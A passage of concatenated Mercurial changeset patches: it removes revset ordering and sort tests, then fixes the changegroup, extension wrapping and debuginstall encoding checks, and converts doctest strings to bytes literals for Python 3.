-    <filteredset
-      <spanset- 0:4>,
-      <spanset+ 0:4>>,
-    <not
-      <spanset+ 1:3>>>
-  3
-  0
-
- 'a + b', which is optimized to '_list(a b)', should take the ordering of
- the left expression:
-
-  $ try --optimize '2:0 & (0 + 1 + 2)'
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (group
-      (or
-        (list
-          (symbol '0')
-          (symbol '1')
-          (symbol '2')))))
-  * optimized:
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol '_list')
-      (string '0\x001\x002')))
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset [0, 1, 2]>>
-  2
-  1
-  0
-
- 'A + B' should take the ordering of the left expression:
-
-  $ try --optimize '2:0 & (0:1 + 2)'
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (group
-      (or
-        (list
-          (range
-            (symbol '0')
-            (symbol '1'))
-          (symbol '2')))))
-  * optimized:
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (or
-      (list
-        (range
-          (symbol '0')
-          (symbol '1'))
-        (symbol '2'))))
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <addset
-      <spanset+ 0:2>,
-      <baseset [2]>>>
-  2
-  1
-  0
-
- '_intlist(a b)' should behave like 'a + b':
-
-  $ trylist --optimize '2:0 & %ld' 0 1 2
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol '_intlist')
-      (string '0\x001\x002')))
-  * optimized:
-  (andsmally
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol '_intlist')
-      (string '0\x001\x002')))
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset+ [0, 1, 2]>>
-  2
-  1
-  0
-
-  $ trylist --optimize '%ld & 2:0' 0 2 1
-  (and
-    (func
-      (symbol '_intlist')
-      (string '0\x002\x001'))
-    (range
-      (symbol '2')
-      (symbol '0')))
-  * optimized:
-  (and
-    (func
-      (symbol '_intlist')
-      (string '0\x002\x001'))
-    (range
-      (symbol '2')
-      (symbol '0')))
-  * set:
-  <filteredset
-    <baseset [0, 2, 1]>,
-    <spanset- 0:3>>
-  0
-  2
-  1
-
- '_hexlist(a b)' should behave like 'a + b':
-
-  $ trylist --optimize --bin '2:0 & %ln' `hg log -T '{node} ' -r0:2`
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol '_hexlist')
-      (string '*'))) (glob)
-  * optimized:
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol '_hexlist')
-      (string '*'))) (glob)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset [0, 1, 2]>>
-  2
-  1
-  0
-
-  $ trylist --optimize --bin '%ln & 2:0' `hg log -T '{node} ' -r0+2+1`
-  (and
-    (func
-      (symbol '_hexlist')
-      (string '*')) (glob)
-    (range
-      (symbol '2')
-      (symbol '0')))
-  * optimized:
-  (andsmally
-    (func
-      (symbol '_hexlist')
-      (string '*')) (glob)
-    (range
-      (symbol '2')
-      (symbol '0')))
-  * set:
-  <baseset [0, 2, 1]>
-  0
-  2
-  1
-
- '_list' should not go through the slow follow-order path if order doesn't
- matter:
-
-  $ try -p optimized '2:0 & not (0 + 1)'
-  * optimized:
-  (difference
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol '_list')
-      (string '0\x001')))
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <not
-      <baseset [0, 1]>>>
-  2
-
-  $ try -p optimized '2:0 & not (0:2 & (0 + 1))'
-  * optimized:
-  (difference
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (and
-      (range
-        (symbol '0')
-        (symbol '2'))
-      (func
-        (symbol '_list')
-        (string '0\x001'))))
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <not
-      <baseset [0, 1]>>>
-  2
-
- because 'present()' does nothing other than suppressing an error, the
- ordering requirement should be forwarded to the nested expression
-
-  $ try -p optimized 'present(2 + 0 + 1)'
-  * optimized:
-  (func
-    (symbol 'present')
-    (func
-      (symbol '_list')
-      (string '2\x000\x001')))
-  * set:
-  <baseset [2, 0, 1]>
-  2
-  0
-  1
-
-  $ try --optimize '2:0 & present(0 + 1 + 2)'
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol 'present')
-      (or
-        (list
-          (symbol '0')
-          (symbol '1')
-          (symbol '2')))))
-  * optimized:
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol 'present')
-      (func
-        (symbol '_list')
-        (string '0\x001\x002'))))
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset [0, 1, 2]>>
-  2
-  1
-  0
-
- 'reverse()' should take effect only if it is the outermost expression:
-
-  $ try --optimize '0:2 & reverse(all())'
-  (and
-    (range
-      (symbol '0')
-      (symbol '2'))
-    (func
-      (symbol 'reverse')
-      (func
-        (symbol 'all')
-        None)))
-  * optimized:
-  (and
-    (range
-      (symbol '0')
-      (symbol '2'))
-    (func
-      (symbol 'reverse')
-      (func
-        (symbol 'all')
-        None)))
-  * set:
-  <filteredset
-    <spanset+ 0:3>,
-    <spanset+ 0:10>>
-  0
-  1
-  2
-
- 'sort()' should take effect only if it is the outermost expression:
-
-  $ try --optimize '0:2 & sort(all(), -rev)'
-  (and
-    (range
-      (symbol '0')
-      (symbol '2'))
-    (func
-      (symbol 'sort')
-      (list
-        (func
-          (symbol 'all')
-          None)
-        (negate
-          (symbol 'rev')))))
-  * optimized:
-  (and
-    (range
-      (symbol '0')
-      (symbol '2'))
-    (func
-      (symbol 'sort')
-      (list
-        (func
-          (symbol 'all')
-          None)
-        (string '-rev'))))
-  * set:
-  <filteredset
-    <spanset+ 0:3>,
-    <spanset+ 0:10>>
-  0
-  1
-  2
-
- invalid argument passed to noop sort():
-
-  $ log '0:2 & sort()'
-  hg: parse error: sort requires one or two arguments
-  [255]
-  $ log '0:2 & sort(all(), -invalid)'
-  hg: parse error: unknown sort key '-invalid'
-  [255]
-
- for 'A & f(B)', 'B' should not be affected by the order of 'A':
-
-  $ try --optimize '2:0 & first(1 + 0 + 2)'
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol 'first')
-      (or
-        (list
-          (symbol '1')
-          (symbol '0')
-          (symbol '2')))))
-  * optimized:
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol 'first')
-      (func
-        (symbol '_list')
-        (string '1\x000\x002'))))
-  * set:
-  <filteredset
-    <baseset [1]>,
-    <spanset- 0:3>>
-  1
-
-  $ try --optimize '2:0 & not last(0 + 2 + 1)'
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (not
-      (func
-        (symbol 'last')
-        (or
-          (list
-            (symbol '0')
-            (symbol '2')
-            (symbol '1'))))))
-  * optimized:
-  (difference
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (func
-      (symbol 'last')
-      (func
-        (symbol '_list')
-        (string '0\x002\x001'))))
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <not
-      <baseset [1]>>>
-  2
-  0
-
- for 'A & (op)(B)', 'B' should not be affected by the order of 'A':
-
-  $ try --optimize '2:0 & (1 + 0 + 2):(0 + 2 + 1)'
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (range
-      (group
-        (or
-          (list
-            (symbol '1')
-            (symbol '0')
-            (symbol '2'))))
-      (group
-        (or
-          (list
-            (symbol '0')
-            (symbol '2')
-            (symbol '1'))))))
-  * optimized:
-  (and
-    (range
-      (symbol '2')
-      (symbol '0'))
-    (range
-      (func
-        (symbol '_list')
-        (string '1\x000\x002'))
-      (func
-        (symbol '_list')
-        (string '0\x002\x001'))))
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset [1]>>
-  1
-
- 'A & B' can be rewritten as 'flipand(B, A)' by weight.
-
-  $ try --optimize 'contains("glob:*") & (2 + 0 + 1)'
-  (and
-    (func
-      (symbol 'contains')
-      (string 'glob:*'))
-    (group
-      (or
-        (list
-          (symbol '2')
-          (symbol '0')
-          (symbol '1')))))
-  * optimized:
-  (andsmally
-    (func
-      (symbol 'contains')
-      (string 'glob:*'))
-    (func
-      (symbol '_list')
-      (string '2\x000\x001')))
-  * set:
-  <filteredset
-    <baseset+ [0, 1, 2]>,
-    <contains 'glob:*'>>
-  0
-  1
-  2
-
- and in this example, 'A & B' is rewritten as 'B & A', but 'A' overrides
- the order appropriately:
-
-  $ try --optimize 'reverse(contains("glob:*")) & (0 + 2 + 1)'
-  (and
-    (func
-      (symbol 'reverse')
-      (func
-        (symbol 'contains')
-        (string 'glob:*')))
-    (group
-      (or
-        (list
-          (symbol '0')
-          (symbol '2')
-          (symbol '1')))))
-  * optimized:
-  (andsmally
-    (func
-      (symbol 'reverse')
-      (func
-        (symbol 'contains')
-        (string 'glob:*')))
-    (func
-      (symbol '_list')
-      (string '0\x002\x001')))
-  * set:
-  <filteredset
-    <baseset- [0, 1, 2]>,
-    <contains 'glob:*'>>
-  2
-  1
-  0
-
-test sort revset
---------------------------------------------
-
-test when adding two unordered revsets
-
-  $ log 'sort(keyword(issue) or modifies(b))'
-  4
-  6
-
-test when sorting a reversed collection in the same way it is
-
-  $ log 'sort(reverse(all()), -rev)'
-  9
-  8
-  7
-  6
-  5
-  4
-  3
-  2
-  1
-  0
-
-test when sorting a reversed collection
-
-  $ log 'sort(reverse(all()), rev)'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-
-
-test sorting two sorted collections in different orders
-
-  $ log 'sort(outgoing() or reverse(removes(a)), rev)'
-  2
-  6
-  8
-  9
-
-test sorting two sorted collections in different orders backwards
-
-  $ log 'sort(outgoing() or reverse(removes(a)), -rev)'
-  9
-  8
-  6
-  2
-
-test empty sort key which is noop
-
-  $ log 'sort(0 + 2 + 1, "")'
-  0
-  2
-  1
-
-test invalid sort keys
-
-  $ log 'sort(all(), -invalid)'
-  hg: parse error: unknown sort key '-invalid'
-  [255]
-
-  $ cd ..
-
-test sorting by multiple keys including variable-length strings
-
-  $ hg init sorting
-  $ cd sorting
-  $ cat <<EOF >> .hg/hgrc
-  > [ui]
-  > logtemplate = '{rev} {branch|p5}{desc|p5}{author|p5}{date|hgdate}\n'
-  > [templatealias]
-  > p5(s) = pad(s, 5)
-  > EOF
-  $ hg branch -qf b12
-  $ hg ci -m m111 -u u112 -d '111 10800'
-  $ hg branch -qf b11
-  $ hg ci -m m12 -u u111 -d '112 7200'
-  $ hg branch -qf b111
-  $ hg ci -m m11 -u u12 -d '111 3600'
-  $ hg branch -qf b112
-  $ hg ci -m m111 -u u11 -d '120 0'
-  $ hg branch -qf b111
-  $ hg ci -m m112 -u u111 -d '110 14400'
-  created new head
-
- compare revisions (has fast path):
-
-  $ hg log -r 'sort(all(), rev)'
-  0 b12  m111 u112 111 10800
-  1 b11  m12  u111 112 7200
-  2 b111 m11  u12  111 3600
-  3 b112 m111 u11  120 0
-  4 b111 m112 u111 110 14400
-
-  $ hg log -r 'sort(all(), -rev)'
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  2 b111 m11  u12  111 3600
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-
- compare variable-length strings (issue5218):
-
-  $ hg log -r 'sort(all(), branch)'
-  1 b11  m12  u111 112 7200
-  2 b111 m11  u12  111 3600
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  0 b12  m111 u112 111 10800
-
-  $ hg log -r 'sort(all(), -branch)'
-  0 b12  m111 u112 111 10800
-  3 b112 m111 u11  120 0
-  2 b111 m11  u12  111 3600
-  4 b111 m112 u111 110 14400
-  1 b11  m12  u111 112 7200
-
-  $ hg log -r 'sort(all(), desc)'
-  2 b111 m11  u12  111 3600
-  0 b12  m111 u112 111 10800
-  3 b112 m111 u11  120 0
-  4 b111 m112 u111 110 14400
-  1 b11  m12  u111 112 7200
-
-  $ hg log -r 'sort(all(), -desc)'
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  0 b12  m111 u112 111 10800
-  3 b112 m111 u11  120 0
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'sort(all(), user)'
-  3 b112 m111 u11  120 0
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'sort(all(), -user)'
-  2 b111 m11  u12  111 3600
-  0 b12  m111 u112 111 10800
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-
- compare dates (tz offset should have no effect):
-
-  $ hg log -r 'sort(all(), date)'
-  4 b111 m112 u111 110 14400
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-  1 b11  m12  u111 112 7200
-  3 b112 m111 u11  120 0
-
-  $ hg log -r 'sort(all(), -date)'
-  3 b112 m111 u11  120 0
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-  4 b111 m112 u111 110 14400
-
- be aware that 'sort(x, -k)' is not exactly the same as 'reverse(sort(x, k))'
- because '-k' reverses the comparison, not the list itself:
-
-  $ hg log -r 'sort(0 + 2, date)'
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'sort(0 + 2, -date)'
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'reverse(sort(0 + 2, date))'
-  2 b111 m11  u12  111 3600
-  0 b12  m111 u112 111 10800
-
- sort by multiple keys:
-
-  $ hg log -r 'sort(all(), "branch -rev")'
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  2 b111 m11  u12  111 3600
-  3 b112 m111 u11  120 0
-  0 b12  m111 u112 111 10800
-
-  $ hg log -r 'sort(all(), "-desc -date")'
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'sort(all(), "user -branch date rev")'
-  3 b112 m111 u11  120 0
-  4 b111 m112 u111 110 14400
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
- toposort prioritises graph branches
-
-  $ hg up 2
-  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
-  $ touch a
-  $ hg addremove
-  adding a
-  $ hg ci -m 't1' -u 'tu' -d '130 0'
-  created new head
-  $ echo 'a' >> a
-  $ hg ci -m 't2' -u 'tu' -d '130 0'
-  $ hg book book1
-  $ hg up 4
-  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
-  (leaving bookmark book1)
-  $ touch a
-  $ hg addremove
-  adding a
-  $ hg ci -m 't3' -u 'tu' -d '130 0'
-
-  $ hg log -r 'sort(all(), topo)'
-  7 b111 t3   tu   130 0
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  6 b111 t2   tu   130 0
-  5 b111 t1   tu   130 0
-  2 b111 m11  u12  111 3600
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-
-  $ hg log -r 'sort(all(), -topo)'
-  0 b12  m111 u112 111 10800
-  1 b11  m12  u111 112 7200
-  2 b111 m11  u12  111 3600
-  5 b111 t1   tu   130 0
-  6 b111 t2   tu   130 0
-  3 b112 m111 u11  120 0
-  4 b111 m112 u111 110 14400
-  7 b111 t3   tu   130 0
-
-  $ hg log -r 'sort(all(), topo, topo.firstbranch=book1)'
-  6 b111 t2   tu   130 0
-  5 b111 t1   tu   130 0
-  7 b111 t3   tu   130 0
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  2 b111 m11  u12  111 3600
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-
-topographical sorting can't be combined with other sort keys, and you can't
-use the topo.firstbranch option when topo sort is not active:
-
-  $ hg log -r 'sort(all(), "topo user")'
-  hg: parse error: topo sort order cannot be combined with other sort keys
-  [255]
-
-  $ hg log -r 'sort(all(), user, topo.firstbranch=book1)'
-  hg: parse error: topo.firstbranch can only be used when using the topo sort key
-  [255]
-
-topo.firstbranch should accept any kind of expressions:
-
-  $ hg log -r 'sort(0, topo, topo.firstbranch=(book1))'
-  0 b12  m111 u112 111 10800
-
-  $ cd ..
-  $ cd repo
-
 test subtracting something from an addset
 
   $ log '(outgoing() or removes(a)) - removes(a)'
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505232782 25200
#      Tue Sep 12 09:13:02 2017 -0700
# Node ID 709b44f38ab919c4f858f12807b9f01f6a2ee888
# Parent  af13097b44ddc0a165232e1e9977cacc2ef9db19
changegroup: avoid creating empty changegroup part

Previously this check happened in the changegroup code itself. Since its
refactor, this logic needs to move out to callers that care about it, such as
this one. Otherwise we get empty bundle devel-warnings in certain extensions.

Differential Revision: https://phab.mercurial-scm.org/D690

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1632,8 +1632,9 @@
                 raise ValueError(_('no common changegroup version'))
             version = max(cgversions)
         outgoing = _computeoutgoing(repo, heads, common)
-        cgstream = changegroup.makestream(repo, outgoing, version, source,
-                                          bundlecaps=bundlecaps)
+        if outgoing.missing:
+            cgstream = changegroup.makestream(repo, outgoing, version, source,
+                                              bundlecaps=bundlecaps)
 
     if cgstream:
         part = bundler.newpart('changegroup', data=cgstream)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505054234 -32400
#      Sun Sep 10 23:37:14 2017 +0900
# Node ID 82bd4c5a81e585111d5edd8a42b637992924dda5
# Parent  709b44f38ab919c4f858f12807b9f01f6a2ee888
extensions: fix wrapcommand/function of class instance

5361771f9714 changed _updatewrapper() to copy the __name__ attribute, but
not all callable objects has __name__.

Spotted by loading mq with extdiff.

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -333,7 +333,10 @@
 
 def _updatewrapper(wrap, origfn, unboundwrapper):
     '''Copy and add some useful attributes to wrapper'''
-    wrap.__name__ = origfn.__name__
+    try:
+        wrap.__name__ = origfn.__name__
+    except AttributeError:
+        pass
     wrap.__module__ = getattr(origfn, '__module__')
     wrap.__doc__ = getattr(origfn, '__doc__')
     wrap.__dict__.update(getattr(origfn, '__dict__', {}))
diff --git a/tests/test-extensions-wrapfunction.py b/tests/test-extensions-wrapfunction.py
--- a/tests/test-extensions-wrapfunction.py
+++ b/tests/test-extensions-wrapfunction.py
@@ -54,3 +54,11 @@
         print('context manager', dummy.getstack())
     print('context manager', dummy.getstack())
 print('context manager', dummy.getstack())
+
+# Wrap callable object which has no __name__
+class callableobj(object):
+    def __call__(self):
+        return ['orig']
+dummy.cobj = callableobj()
+extensions.wrapfunction(dummy, 'cobj', wrappers[0])
+print('wrap callable object', dummy.cobj())
diff --git a/tests/test-extensions-wrapfunction.py.out b/tests/test-extensions-wrapfunction.py.out
--- a/tests/test-extensions-wrapfunction.py.out
+++ b/tests/test-extensions-wrapfunction.py.out
@@ -18,3 +18,4 @@
 context manager [2, 0, 1, 'orig']
 context manager [2, 1, 'orig']
 context manager [2, 'orig']
+wrap callable object [0, 'orig']
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504790843 -32400
#      Thu Sep 07 22:27:23 2017 +0900
# Node ID 902219a999018ffd728811ada56acd5f84dbfefb
# Parent  82bd4c5a81e585111d5edd8a42b637992924dda5
debuginstall: use codecs.lookup() to detect invalid encoding

encoding.fromlocal() never tries to decode an ascii string since 853574db5b12,
and there's no universal non-ascii string which can be decoded as any valid
character set.

diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -7,6 +7,7 @@
 
 from __future__ import absolute_import
 
+import codecs
 import collections
 import difflib
 import errno
@@ -997,8 +998,8 @@
     fm.write('encoding', _("checking encoding (%s)...\n"), encoding.encoding)
     err = None
     try:
-        encoding.fromlocal("test")
-    except error.Abort as inst:
+        codecs.lookup(pycompat.sysstr(encoding.encoding))
+    except LookupError as inst:
         err = inst
         problems += 1
     fm.condwrite(err, 'encodingerror', _(" %s\n"
diff --git a/tests/test-install.t b/tests/test-install.t
--- a/tests/test-install.t
+++ b/tests/test-install.t
@@ -76,6 +76,11 @@
   1 problems detected, please check your install!
   [1]
 
+hg debuginstall with invalid encoding
+  $ HGENCODING=invalidenc hg debuginstall | grep encoding
+  checking encoding (invalidenc)...
+   unknown encoding: invalidenc
+
 path variables are expanded (~ is the same as $TESTTMP)
   $ mkdir tools
   $ touch tools/testeditor.exe
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504791414 -32400
#      Thu Sep 07 22:36:54 2017 +0900
# Node ID ada8a19672ab21b411801118f5cefad224430f37
# Parent  902219a999018ffd728811ada56acd5f84dbfefb
debuginstall: do not pass exception object to formatter (issue5676)

diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -1000,7 +1000,7 @@
     try:
         codecs.lookup(pycompat.sysstr(encoding.encoding))
     except LookupError as inst:
-        err = inst
+        err = util.forcebytestr(inst)
         problems += 1
     fm.condwrite(err, 'encodingerror', _(" %s\n"
                  " (check that your locale is properly set)\n"), err)
@@ -1056,7 +1056,7 @@
             )
             dir(bdiff), dir(mpatch), dir(base85), dir(osutil) # quiet pyflakes
         except Exception as inst:
-            err = inst
+            err = util.forcebytestr(inst)
             problems += 1
         fm.condwrite(err, 'extensionserror', " %s\n", err)
 
@@ -1088,7 +1088,7 @@
             try:
                 templater.templater.frommapfile(m)
             except Exception as inst:
-                err = inst
+                err = util.forcebytestr(inst)
                 p = None
             fm.condwrite(err, 'defaulttemplateerror', " %s\n", err)
         else:
@@ -1124,7 +1124,7 @@
     try:
         username = ui.username()
     except error.Abort as e:
-        err = e
+        err = util.forcebytestr(e)
         problems += 1
 
     fm.condwrite(username, 'username',  _("checking username (%s)\n"), username)
diff --git a/tests/test-install.t b/tests/test-install.t
--- a/tests/test-install.t
+++ b/tests/test-install.t
@@ -81,6 +81,14 @@
   checking encoding (invalidenc)...
    unknown encoding: invalidenc
 
+exception message in JSON
+
+  $ HGENCODING=invalidenc HGUSER= hg debuginstall -Tjson | grep error
+    "defaulttemplateerror": null,
+    "encodingerror": "unknown encoding: invalidenc",
+    "extensionserror": null, (no-pure !)
+    "usernameerror": "no username supplied",
+
 path variables are expanded (~ is the same as $TESTTMP)
   $ mkdir tools
   $ touch tools/testeditor.exe
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504416731 -32400
#      Sun Sep 03 14:32:11 2017 +0900
# Node ID 0fa7813202034057501df4a90017d32f990b6b4c
# Parent  ada8a19672ab21b411801118f5cefad224430f37
doctest: bulk-replace string literals with b'' for Python 3

Our code transformer can't rewrite string literals in docstrings, and I
don't want to make the transformer more complex.

diff --git a/hgext/convert/convcmd.py b/hgext/convert/convcmd.py
--- a/hgext/convert/convcmd.py
+++ b/hgext/convert/convcmd.py
@@ -59,18 +59,18 @@
 
 def mapbranch(branch, branchmap):
     '''
-    >>> bmap = {'default': 'branch1'}
-    >>> for i in ['', None]:
+    >>> bmap = {b'default': b'branch1'}
+    >>> for i in [b'', None]:
     ...     mapbranch(i, bmap)
     'branch1'
     'branch1'
-    >>> bmap = {'None': 'branch2'}
-    >>> for i in ['', None]:
+    >>> bmap = {b'None': b'branch2'}
+    >>> for i in [b'', None]:
     ...     mapbranch(i, bmap)
     'branch2'
     'branch2'
-    >>> bmap = {'None': 'branch3', 'default': 'branch4'}
-    >>> for i in ['None', '', None, 'default', 'branch5']:
+    >>> bmap = {b'None': b'branch3', b'default': b'branch4'}
+    >>> for i in [b'None', b'', None, b'default', b'branch5']:
     ...     mapbranch(i, bmap)
     'branch3'
     'branch4'
diff --git a/hgext/convert/cvsps.py b/hgext/convert/cvsps.py
--- a/hgext/convert/cvsps.py
+++ b/hgext/convert/cvsps.py
@@ -54,23 +54,23 @@
 def getrepopath(cvspath):
     """Return the repository path from a CVS path.
 
-    >>> getrepopath('/foo/bar')
+    >>> getrepopath(b'/foo/bar')
     '/foo/bar'
-    >>> getrepopath('c:/foo/bar')
+    >>> getrepopath(b'c:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:10/foo/bar')
+    >>> getrepopath(b':pserver:10/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:10c:/foo/bar')
+    >>> getrepopath(b':pserver:10c:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:/foo/bar')
+    >>> getrepopath(b':pserver:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:c:/foo/bar')
+    >>> getrepopath(b':pserver:c:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:truc@foo.bar:/foo/bar')
+    >>> getrepopath(b':pserver:truc@foo.bar:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:truc@foo.bar:c:/foo/bar')
+    >>> getrepopath(b':pserver:truc@foo.bar:c:/foo/bar')
     '/foo/bar'
-    >>> getrepopath('user@server/path/to/repository')
+    >>> getrepopath(b'user@server/path/to/repository')
     '/path/to/repository'
     """
     # According to CVS manual, CVS paths are expressed like:
diff --git a/hgext/convert/filemap.py b/hgext/convert/filemap.py
--- a/hgext/convert/filemap.py
+++ b/hgext/convert/filemap.py
@@ -18,7 +18,7 @@
 def rpairs(path):
     '''Yield tuples with path split at '/', starting with the full path.
     No leading, trailing or double '/', please.
-    >>> for x in rpairs('foo/bar/baz'): print x
+    >>> for x in rpairs(b'foo/bar/baz'): print x
     ('foo/bar/baz', '')
     ('foo/bar', 'baz')
     ('foo', 'bar/baz')
diff --git a/hgext/convert/p4.py b/hgext/convert/p4.py
--- a/hgext/convert/p4.py
+++ b/hgext/convert/p4.py
@@ -32,9 +32,9 @@
     """Perforce escapes special characters @, #, *, or %
     with %40, %23, %2A, or %25 respectively
 
-    >>> decodefilename('portable-net45%252Bnetcore45%252Bwp8%252BMonoAndroid')
+    >>> decodefilename(b'portable-net45%252Bnetcore45%252Bwp8%252BMonoAndroid')
     'portable-net45%2Bnetcore45%2Bwp8%2BMonoAndroid'
-    >>> decodefilename('//Depot/Directory/%2525/%2523/%23%40.%2A')
+    >>> decodefilename(b'//Depot/Directory/%2525/%2523/%23%40.%2A')
     '//Depot/Directory/%25/%23/#@.*'
     """
     replacements = [('%2A', '*'), ('%23', '#'), ('%40', '@'), ('%25', '%')]
diff --git a/hgext/convert/subversion.py b/hgext/convert/subversion.py
--- a/hgext/convert/subversion.py
+++ b/hgext/convert/subversion.py
@@ -61,16 +61,16 @@
 
 def revsplit(rev):
     """Parse a revision string and return (uuid, path, revnum).
-    >>> revsplit('svn:a2147622-4a9f-4db4-a8d3-13562ff547b2'
-    ...          '/proj%20B/mytrunk/mytrunk@1')
+    >>> revsplit(b'svn:a2147622-4a9f-4db4-a8d3-13562ff547b2'
+    ...          b'/proj%20B/mytrunk/mytrunk@1')
     ('a2147622-4a9f-4db4-a8d3-13562ff547b2', '/proj%20B/mytrunk/mytrunk', 1)
-    >>> revsplit('svn:8af66a51-67f5-4354-b62c-98d67cc7be1d@1')
+    >>> revsplit(b'svn:8af66a51-67f5-4354-b62c-98d67cc7be1d@1')
     ('', '', 1)
-    >>> revsplit('@7')
+    >>> revsplit(b'@7')
     ('', '', 7)
-    >>> revsplit('7')
+    >>> revsplit(b'7')
     ('', '', 0)
-    >>> revsplit('bad')
+    >>> revsplit(b'bad')
     ('', '', 0)
     """
     parts = rev.rsplit('@', 1)
diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -154,23 +154,25 @@
 
 def inserthgheader(lines, header, value):
     """Assuming lines contains a HG patch header, add a header line with value.
-    >>> try: inserthgheader([], '# Date ', 'z')
+    >>> try: inserthgheader([], b'# Date ', b'z')
     ... except ValueError, inst: print "oops"
     oops
-    >>> inserthgheader(['# HG changeset patch'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch'], b'# Date ', b'z')
     ['# HG changeset patch', '# Date z']
-    >>> inserthgheader(['# HG changeset patch', ''], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b''], b'# Date ', b'z')
     ['# HG changeset patch', '# Date z', '']
-    >>> inserthgheader(['# HG changeset patch', '# User y'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'# User y'], b'# Date ', b'z')
     ['# HG changeset patch', '# User y', '# Date z']
-    >>> inserthgheader(['# HG changeset patch', '# Date x', '# User y'],
-    ...                '# User ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'# Date x', b'# User y'],
+    ...                b'# User ', b'z')
     ['# HG changeset patch', '# Date x', '# User z']
-    >>> inserthgheader(['# HG changeset patch', '# Date y'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'# Date y'], b'# Date ', b'z')
     ['# HG changeset patch', '# Date z']
-    >>> inserthgheader(['# HG changeset patch', '', '# Date y'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'', b'# Date y'],
+    ...                b'# Date ', b'z')
     ['# HG changeset patch', '# Date z', '', '# Date y']
-    >>> inserthgheader(['# HG changeset patch', '# Parent  y'], '# Date ', 'z')
+    >>> inserthgheader([b'# HG changeset patch', b'# Parent  y'],
+    ...                b'# Date ', b'z')
